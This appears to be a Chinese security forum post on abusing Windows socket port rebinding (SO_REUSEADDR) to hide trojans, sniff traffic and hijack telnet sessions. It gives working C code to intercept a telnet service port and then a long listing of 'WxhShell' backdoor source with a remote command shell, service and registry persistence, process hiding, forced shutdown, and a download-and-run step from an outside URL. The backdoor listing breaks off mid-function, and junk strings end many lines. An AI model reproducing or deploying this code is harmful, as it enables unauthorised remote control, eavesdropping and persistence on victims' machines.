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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8P5yaS_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P3X;&iT  
!'uL  
  saddr.sin_family = AF_INET; V(Ll]g/T_;  
PjZsMHW%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ag=>F5  
 ZaJg$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]w z`j1  
h`n,:Y^++P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  (c;F%m|  
-Yx'qz@  
  这意味着什么?意味着可以进行如下的攻击: y<(q<V#0!S  
!gA<9h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *YmR7g|k  
sFv68Ag+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9x@( K|  
|PR8P!'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l"^'uGB'  
Oz(0$c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1y@d`k`t:  
pEgQ) 9\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -d]-R ?mQ  
3D L7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "F?p\I)(  
BM5+;h !  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F N6 GV  
S}6Ty2.\  
  #include ) =-$>75Z  
  #include t}L kl(  
  #include 4FURm@C6  
  #include    Nn<TPT[,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wdg,dk9e$  
  int main() =K'X:UM  
  { AjBwj5K  
  WORD wVersionRequested; _N!L?b83P  
  DWORD ret; 2"+8NfFl  
  WSADATA wsaData; yh0zW $  
  BOOL val; y%%D="  
  SOCKADDR_IN saddr; AyHhq8Y  
  SOCKADDR_IN scaddr; ^o&3+s} M  
  int err; G J"S*30  
  SOCKET s; q6DuLFatc*  
  SOCKET sc; &Omo\Oq&W>  
  int caddsize; lz2B,#  
  HANDLE mt; 3z7SK Gy  
  DWORD tid;   nvY3$ Ty  
  wVersionRequested = MAKEWORD( 2, 2 ); Tbf't^Ot$  
  err = WSAStartup( wVersionRequested, &wsaData ); 3!E*h0$}  
  if ( err != 0 ) { "B`k  
  printf("error!WSAStartup failed!\n"); o 4G%m>$  
  return -1; -]yM<dP  
  } 8R?X$=$]!.  
  saddr.sin_family = AF_INET; "Bl ]_YPv  
   ;e,_F/@`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q.sErr[zc  
tt5t(+5j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9e|-sn  
  saddr.sin_port = htons(23); Ze+p;v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |@'/F#T  
  { UrtA]pc3L  
  printf("error!socket failed!\n"); \fC)]QZ  
  return -1; ptJ58U$Bb  
  } sa8JN.B  
  val = TRUE; $ 9bIUJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %oPW`r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m?3!  
  { 0u[Vd:()v(  
  printf("error!setsockopt failed!\n"); c;siMWw;  
  return -1; &b :u~puM  
  } s Dq{h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7{jB!Xj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t &scvXh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fg` P@hC  
"^M/iv(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $sF'Sr{)y  
  { aumWU{j=  
  ret=GetLastError(); }%e"A4v  
  printf("error!bind failed!\n"); {jz?LM  
  return -1; O^|:q  
  } D{'>G@nLQ  
  listen(s,2); J,N='~kfh  
  while(1) Nr~9] S  
  { z~Zu >Q1u[  
  caddsize = sizeof(scaddr); NTq#'O) f  
  //接受连接请求 2@7f^be  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O7<--  
  if(sc!=INVALID_SOCKET) vG E;PwR  
  { r 0m A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m~7[fgN2  
  if(mt==NULL) MU_8bK9m  
  { i'XW)n  
  printf("Thread Creat Failed!\n"); @4sEHk 3  
  break; R<\5 q%@G  
  } HJ5 Ktt  
  } KDTG9KC  
  CloseHandle(mt); * AsILK0  
  } ~|y$^qy?U  
  closesocket(s); W`^euBr7R>  
  WSACleanup(); ad <z+a  
  return 0; dU4  h  
  }   9gWR djK:  
  DWORD WINAPI ClientThread(LPVOID lpParam) pI>yO~Ve  
  { ^7b[s pqE  
  SOCKET ss = (SOCKET)lpParam; $a / jfpV  
  SOCKET sc; Oe#*-  
  unsigned char buf[4096]; H]]UsY`  
  SOCKADDR_IN saddr; qH 1k  
  long num; a4a/]q4T  
  DWORD val; <]: X  
  DWORD ret; ,[gu7z^|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %IAZU c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?HD eiJ kX  
  saddr.sin_family = AF_INET; !u)>XS^E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KImBQ2^Tu  
  saddr.sin_port = htons(23); K!AW8FnHkZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XSfl'Fll D  
  { zY11.!2  
  printf("error!socket failed!\n"); ~Qg:_ @@\  
  return -1; |ZJ<J)y  
  } D./!/>@f  
  val = 100; rN$U%\.I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W#|30RU.G  
  { .( )rb y  
  ret = GetLastError(); " pZvV0'  
  return -1; dSdP]50M  
  } dWR-}>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MKdS_&F;~  
  { HACY  
  ret = GetLastError(); Ca2He}r`  
  return -1; cA,`!dG2,  
  } +ConK>;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &XvSAw+D@  
  { @%FLT6MY  
  printf("error!socket connect failed!\n"); Q4;%[7LU  
  closesocket(sc); T O]wD^`  
  closesocket(ss); OV~]-5gau  
  return -1; tVUC@M>'  
  } < bvbfS  
  while(1) 4z;@1nN_8a  
  { \zx &5a #  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~]w|ULNa3|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ ^2\/@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 # dA-dN  
  num = recv(ss,buf,4096,0); o$4i{BL  
  if(num>0) " Y1]6 Zu  
  send(sc,buf,num,0); wI0NotC  
  else if(num==0) "r+v^  
  break; ]3KMFV}  
  num = recv(sc,buf,4096,0); hRU5CH/!  
  if(num>0) v47S9Vm+  
  send(ss,buf,num,0); V(6*wQ`&  
  else if(num==0) sxK|0i}6  
  break; tyI !y~-z  
  } $`a>y jma  
  closesocket(ss); `F(ghC  
  closesocket(sc); tz^2?wO  
  return 0 ; ',_E;(  
  } Tr6J+hS  
}CM</  
z+5ZUS2~&  
========================================================== `)aIFAW  
mm1fG4 *%  
下边附上一个代码,,WXhSHELL xs}3=&c(  
_o+z#Fnz  
========================================================== }G/#Nb)  
DN X-\  
#include "stdafx.h" 7Rq|N$y.3  
n5NwiSE  
#include <stdio.h> sC}p_'L  
#include <string.h> 78MQoG<  
#include <windows.h> v1j&oA}$.  
#include <winsock2.h> >N bb0T  
#include <winsvc.h> o5(~nQ  
#include <urlmon.h> i"_@iN0N  
\@8.BCWK  
#pragma comment (lib, "Ws2_32.lib") m) q e  
#pragma comment (lib, "urlmon.lib") zbL8 pp  
):L ; P)  
#define MAX_USER   100 // 最大客户端连接数 c e\|eN[  
#define BUF_SOCK   200 // sock buffer llE_-M2gH  
#define KEY_BUFF   255 // 输入 buffer P}re"<MD  
L|`(u  
#define REBOOT     0   // 重启 x & ZW f?  
#define SHUTDOWN   1   // 关机 v<AFcY   
O;6am++M@  
#define DEF_PORT   5000 // 监听端口 ll^#I/  
6rll0c~  
#define REG_LEN     16   // 注册表键长度 />dH\KvN  
#define SVC_LEN     80   // NT服务名长度 u}0U!  
|y%M";MI  
// 从dll定义API [-p?gyl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z(|'zAb^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 q^^Os  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X+%5q =N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s[n*fV']A  
1w$X;q"  
// wxhshell配置信息 #*tWhXU  
struct WSCFG { {aoG60N  
  int ws_port;         // 监听端口 6>d0i S@R  
  char ws_passstr[REG_LEN]; // 口令 Hs#q 7  
  int ws_autoins;       // 安装标记, 1=yes 0=no W1\F-:4L@  
  char ws_regname[REG_LEN]; // 注册表键名 Ve9*>6i&-4  
  char ws_svcname[REG_LEN]; // 服务名 \s@7pM=(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 84f~.45  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0_f6Qrcj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  N3m~nEj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "Nh}_jO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j&|>Aa${  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '2:HBJ  
(Wu J9  
}; >"|"Gy (  
^fqco9^;  
// default Wxhshell configuration y{#9&ct&  
struct WSCFG wscfg={DEF_PORT, \\(3gB.Gd  
    "xuhuanlingzhe", B.Y8O^rx  
    1, ,&ld:v?~  
    "Wxhshell", ]m=2 $mK  
    "Wxhshell", q_b,3Tp  
            "WxhShell Service", k.6gX<T  
    "Wrsky Windows CmdShell Service", o/\f+iz7  
    "Please Input Your Password: ", 5)=YTUCk  
  1, XNaiMpp'  
  "http://www.wrsky.com/wxhshell.exe", ><DXT nt'x  
  "Wxhshell.exe" u}(K3H3  
    }; !g2 ~|G  
3q)y;T\yW  
// 消息定义模块 P/Zp3O H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;hZ^zL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x*a^msY%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7\<}378/^  
char *msg_ws_ext="\n\rExit."; HlgkW&}c^  
char *msg_ws_end="\n\rQuit."; caD|*.b  
char *msg_ws_boot="\n\rReboot..."; ~ \3j{pr  
char *msg_ws_poff="\n\rShutdown..."; nJr:U2d  
char *msg_ws_down="\n\rSave to "; &<$YR~g5j$  
/s[D[:P_  
char *msg_ws_err="\n\rErr!"; 1MYA/l$  
char *msg_ws_ok="\n\rOK!"; TO]7%aB  
9~|hGo  
char ExeFile[MAX_PATH]; PCX X[N  
int nUser = 0; h 7  c  
HANDLE handles[MAX_USER]; .[:2M9Rx  
int OsIsNt; bKac?y~S_  
U6Xi-@XP  
SERVICE_STATUS       serviceStatus; #7BX,jvn>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ ~uY);  
\agT#tT J  
// 函数声明 h/xV;oj  
int Install(void); Kn`-5{1B|  
int Uninstall(void); XM:Y(#?l  
int DownloadFile(char *sURL, SOCKET wsh); qGhwbg  
int Boot(int flag); t +h}hL  
void HideProc(void); <d] t{M62W  
int GetOsVer(void); m-AW}1:\f  
int Wxhshell(SOCKET wsl); a[hQ<@1O  
void TalkWithClient(void *cs); 8=DZ;]XD.  
int CmdShell(SOCKET sock); `CqF&b  
int StartFromService(void); D&/~lhyNZ  
int StartWxhshell(LPSTR lpCmdLine); 4&_|myO&  
X{-901J1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R7NE= X4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qt,;Yxx#^  
Tq,xW  
// 数据结构和表定义 "Cn<x\E b  
SERVICE_TABLE_ENTRY DispatchTable[] = jImw_Q  
{ N}X7g0>hV  
{wscfg.ws_svcname, NTServiceMain}, @3WI7q4  
{NULL, NULL} pUm|e5  
}; ]]!&>tOlI  
!Jk|ha~r  
// 自我安装 Wo, "$Z6B  
int Install(void) K;P<c,9X/  
{ N*6lyFcg  
  char svExeFile[MAX_PATH]; Y:KIaYkk  
  HKEY key; %C =?Xhnv  
  strcpy(svExeFile,ExeFile); /PTk296@  
. yN.  
// 如果是win9x系统,修改注册表设为自启动 Xb\de_8!  
if(!OsIsNt) { [l:}#5\]4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n"|1A..^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); du_TiI  
  RegCloseKey(key); Mx_O'D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3.@ I\p}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z O\x|E!b  
  RegCloseKey(key); @*"H{xo.U  
  return 0; 0;n}{26a  
    } ]>H'CM4JR  
  } x/,(G~  
} bO6LBSZx]  
else { bY!1t}ALh  
uj^l&"  
// 如果是NT以上系统,安装为系统服务 Lf0Wc'9{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0.!!rq,  
if (schSCManager!=0) ?A2jj`N1x  
{ {qbx iL-  
  SC_HANDLE schService = CreateService {"n=t`E)3  
  ( 0o_wy1O1,  
  schSCManager, _n=,H  
  wscfg.ws_svcname, AH'4k(-  
  wscfg.ws_svcdisp, ]mdO3P  
  SERVICE_ALL_ACCESS, U_61y;Q"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < +X,oxg  
  SERVICE_AUTO_START, :WHbwu,L$  
  SERVICE_ERROR_NORMAL, G * '1[Bu  
  svExeFile, %mr6p}E|  
  NULL, |Wz`#<t  
  NULL, u7}C):@H  
  NULL, XI7:y4M  
  NULL, c!Wj^  
  NULL t;L7H E@Y  
  ); ix!4s613w  
  if (schService!=0) Y2>0Y3yM  
  { ' T%70)CM~  
  CloseServiceHandle(schService); 5KRI}f  
  CloseServiceHandle(schSCManager); Xot2L{EIUE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <= Aqi91  
  strcat(svExeFile,wscfg.ws_svcname); gSt'<v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P2=u-{?~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rO7[{<97m  
  RegCloseKey(key); kJK:1;CM?.  
  return 0; I W5N^J  
    } 8c5%~}kG  
  } p}d+L{"V  
  CloseServiceHandle(schSCManager); :,1 kSM%r  
} 4$MV]ldUI  
} >%i]p  
-cs$E2 -  
return 1; ;k5B@z/<S  
} xF])NZy|  
Ae|bAyAK  
// 自我卸载 $@@@</VbP  
int Uninstall(void) y.+!+4Mg|  
{ vd#BT$d?  
  HKEY key; GRj#1OqL  
"d c- !  
if(!OsIsNt) { Ah Rvyj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `&5_~4T7  
  RegDeleteValue(key,wscfg.ws_regname); JYO("f  
  RegCloseKey(key); B> V)6\   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NNn sq@?6  
  RegDeleteValue(key,wscfg.ws_regname); 8 GW0w  
  RegCloseKey(key); 5 ]l8l+  
  return 0; hd~0qK  
  } bguTWI8bk  
} f/UIpswrZ'  
} F@rx/3 [  
else { IUSV\X9  
j+NsNIJq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -mqL[ h,  
if (schSCManager!=0) W~d^ *LZt  
{ 3fdqFJ O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EN;4EC7tE  
  if (schService!=0) $3yn-'o'A  
  { GyLp&aa  
  if(DeleteService(schService)!=0) { 0q_?<v_ 1  
  CloseServiceHandle(schService); d0}P  
  CloseServiceHandle(schSCManager); ak$D1#hY  
  return 0; /5"RedP<  
  } NXSjN~aG2  
  CloseServiceHandle(schService); (=t41-l  
  } |0xP'(  
  CloseServiceHandle(schSCManager); @ w?,7i-S  
} Fb<fQIa  
} 6h{>U*N"&d  
8<PQ31  
return 1; &*9 ' 0  
} ~w"e 2a  
Bnh*;J0  
// 从指定url下载文件 P`OZoI$bV  
int DownloadFile(char *sURL, SOCKET wsh) qTI_'q  
{ %z"n}|%!  
  HRESULT hr; ,| ~Pa  
char seps[]= "/"; kWbD?i-  
char *token; UYvdzCUh  
char *file; Yk=2ld;;  
char myURL[MAX_PATH]; g-DFcwO,V  
char myFILE[MAX_PATH]; w<Ot0&&  
L^e%oQ>s  
strcpy(myURL,sURL); ~$]Puv1V>  
  token=strtok(myURL,seps); ; ~#uH7k  
  while(token!=NULL) 2aJ_[3p/h]  
  { 5~{s-Ms  
    file=token; "J>8ZUP  
  token=strtok(NULL,seps); 36\_Y?zx%  
  } PYr'1D'  
bj7r"_  
GetCurrentDirectory(MAX_PATH,myFILE); =PYS5\k  
strcat(myFILE, "\\"); M+-1/vR *@  
strcat(myFILE, file); vBYk"a6SD  
  send(wsh,myFILE,strlen(myFILE),0); >(C5&3^  
send(wsh,"...",3,0); Y} crE/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W4$F\y  
  if(hr==S_OK) Bj* M W  
return 0; ]. 0;;v6)  
else <b_?[%(u  
return 1; CtE <9?  
x\5v^$  
} ca,U>'(y  
`ZGKM>q`  
// 系统电源模块 jPEOp#C  
int Boot(int flag) xP $\ }  
{ !'*1;OQ  
  HANDLE hToken; 8SoTABHV  
  TOKEN_PRIVILEGES tkp; _zDf8hy  
FQM9>l@6)>  
  if(OsIsNt) { {QVs[ J1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =i>i,>bv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8K2=WYN  
    tkp.PrivilegeCount = 1; cBQ+`DXn5c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .x][ _I>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4nKlW_{,  
if(flag==REBOOT) { S@cKo&^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1"~$(@oxG  
  return 0; ,P^4??' o  
} Y7<(_p7  
else { t4<+]]   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *H~&hs>k  
  return 0; MY l9 &8  
}  mT,#"k8  
  } t(p}0}Pp  
  else { V z-]H]MW,  
if(flag==REBOOT) { [}`-KpV!;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dr5AJ`y9A  
  return 0; eDY)i9"W  
} G#j~8`3X  
else { 'mk_s4J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $y,tR.5.)[  
  return 0; |f2 bb  
} LL+PAvMg  
} UeU`U  
f47dB_{5f.  
return 1; R7/ET"  
} 6/.cS4  
r*{`_G=1  
// win9x进程隐藏模块 9*2^2GR^;  
void HideProc(void) @|<qTci  
{ _&aPF/  
h6Cqc}P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .zsY VtK  
  if ( hKernel != NULL ) +!$]a^3l  
  { "~L$oji  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dz1kQzOU*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ))4RgS$  
    FreeLibrary(hKernel); ^J)0i_RS  
  } aole`PD,l  
m^>v~Q~~  
return; Pxf/*z  
} Suy +XHV  
RKy!=#;17  
// 获取操作系统版本 3<_=Vyf  
int GetOsVer(void) ^u> fW[ "[  
{ qK]Om6 a~  
  OSVERSIONINFO winfo; W~/{ct$Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k,-0OoCL-!  
  GetVersionEx(&winfo); Z u/w>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sBLOrbo  
  return 1; {'yr)(:2M  
  else H7}f[4S%  
  return 0; v\D.j4%ij  
} N 5.kDT  
BH0s ` K"  
// 客户端句柄模块 : ZadPn56  
int Wxhshell(SOCKET wsl) C4)m4r%  
{ ;*cCaB0u  
  SOCKET wsh; !vq|*8  
  struct sockaddr_in client; '<xV]k|v  
  DWORD myID; .yB{+  
RcOfesW o  
  while(nUser<MAX_USER) #U.6HBuQa  
{ S=G2%u!;  
  int nSize=sizeof(client); Q096M 0m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y7x*:xR[  
  if(wsh==INVALID_SOCKET) return 1; 6N[X:F 3`,  
fWyXy%Qq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mk}*ze0%  
if(handles[nUser]==0) +asO4'r  
  closesocket(wsh); TT={>R[B  
else tgY/8& $M  
  nUser++; {RI)I  
  } .mplML0oW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u{S"NEc  
8khIy-9-'  
  return 0; -PTfsQk  
} } ^2'@y!(  
onl,R{,`0  
// 关闭 socket (U@$gkUx}G  
void CloseIt(SOCKET wsh) 4+MaV<!tU^  
{ M2I*_pI  
closesocket(wsh); +v< \l=  
nUser--; Z=oGyA  
ExitThread(0); vbfQy2q  
} Z1{>"o:@  
._q<~_~R  
// 客户端请求句柄 n?"("Fiw  
void TalkWithClient(void *cs) *t_Q5&3L+U  
{ pA6A*~QE  
QW_BT ^d"  
  SOCKET wsh=(SOCKET)cs; 49YN@ PXC  
  char pwd[SVC_LEN]; mJYD"WgY  
  char cmd[KEY_BUFF]; A_crK`3  
char chr[1]; KbMan~Pb6  
int i,j; :QC |N@C  
8vQR'<,  
  while (nUser < MAX_USER) { a\&g;n8jA  
w-3Lw<  
if(wscfg.ws_passstr) { `><E J'h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &0]5zQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vRH2[{KQ9  
  //ZeroMemory(pwd,KEY_BUFF); qB3E  
      i=0; *MQ`&;Qa,  
  while(i<SVC_LEN) { `1uGU[{x  
k"6&&  
  // 设置超时 i&{%} ==7  
  fd_set FdRead; ;9LOeH?  
  struct timeval TimeOut; l#Vg=zrT  
  FD_ZERO(&FdRead); z0Z1J8Qq6.  
  FD_SET(wsh,&FdRead); @2;cv?i)  
  TimeOut.tv_sec=8; -d^'-s  
  TimeOut.tv_usec=0; N_/+B]r }T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {nw.bKq 7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =_CH$F!U  
45&Rl,2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {C0Y8:"`  
  pwd=chr[0]; [&kz4_  
  if(chr[0]==0xd || chr[0]==0xa) { d4p6.3  
  pwd=0; v-wZHkdd1  
  break; _fSBb<  
  } *%*B o9a/  
  i++; Hbn78,~ .  
    } =.w~qL  
$hMD6<e  
  // 如果是非法用户,关闭 socket Cj$:TWYIh[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dsH*9t:z  
} TFAR>8Nm  
VfozqUf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '8[; m_S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tgh?=]H  
'.C#"nY>1  
while(1) { U uC-R)  
VfUHqdg-  
  ZeroMemory(cmd,KEY_BUFF); $ Ggnn#  
3W{ !\  
      // 自动支持客户端 telnet标准   `jVRabZ0  
  j=0; )j\_*SoH  
  while(j<KEY_BUFF) { q@tym5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _07$TC1  
  cmd[j]=chr[0]; LR';cR;  
  if(chr[0]==0xa || chr[0]==0xd) { #jd.i  
  cmd[j]=0; `?b'.Z_J  
  break; wJ7^)tTRF  
  } ~@(C+3,  
  j++; @C^wV  
    } J 5';Hb)  
\+=`o .2  
  // 下载文件 mxpj<^n}  
  if(strstr(cmd,"http://")) { e\O-5hp7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *+nw%gZG  
  if(DownloadFile(cmd,wsh)) g> ~+M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/|vbe,  
  else g>k?03;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]"~ x  
  } BMdZd5!p&  
  else { jsx&h Y%(  
crN*eFeW  
    switch(cmd[0]) { klH?!r&  
  K?r  
  // 帮助 k/sfak{Q  
  case '?': { LNyrIk/1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tP"6H-)X&  
    break; J_;*@mW  
  } MTKNIv|  
  // 安装 k>7bPR5Mw  
  case 'i': { n1PBpM9!  
    if(Install()) +vxOCN4}v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53gLz_ee  
    else jU* D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?5/7 @V  
    break; iJZNSRQJ}r  
    } EW1,&H  
  // 卸载 GdY@$&z{i  
  case 'r': { ?c+$9  
    if(Uninstall()) U^7bj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <i]0EE}%  
    else s]|tKQGl,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VBw 5[  
    break; 841y"@*BY  
    } - jCj_@n  
  // 显示 wxhshell 所在路径 ?$T^L"~  
  case 'p': { w52p y7  
    char svExeFile[MAX_PATH]; fGqX dlP  
    strcpy(svExeFile,"\n\r"); AI|+*amTd  
      strcat(svExeFile,ExeFile); p$qk\efv*4  
        send(wsh,svExeFile,strlen(svExeFile),0); H%gAgXHn  
    break; UoKVl-  
    } tfZ@4%'  
  // 重启 $;'M8L  
  case 'b': { Z)2d4:uv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~LZrhwVj$  
    if(Boot(REBOOT)) %y|pVN!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <U1T_fiBoc  
    else { 1dw{:X=j  
    closesocket(wsh); MfHOn YV  
    ExitThread(0); 6@t&  
    } 2QM{e!9  
    break; FO%pdLs,  
    } yNow hh  
  // 关机 Z"%.  
  case 'd': { euVDrJ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C\~}ySQc.e  
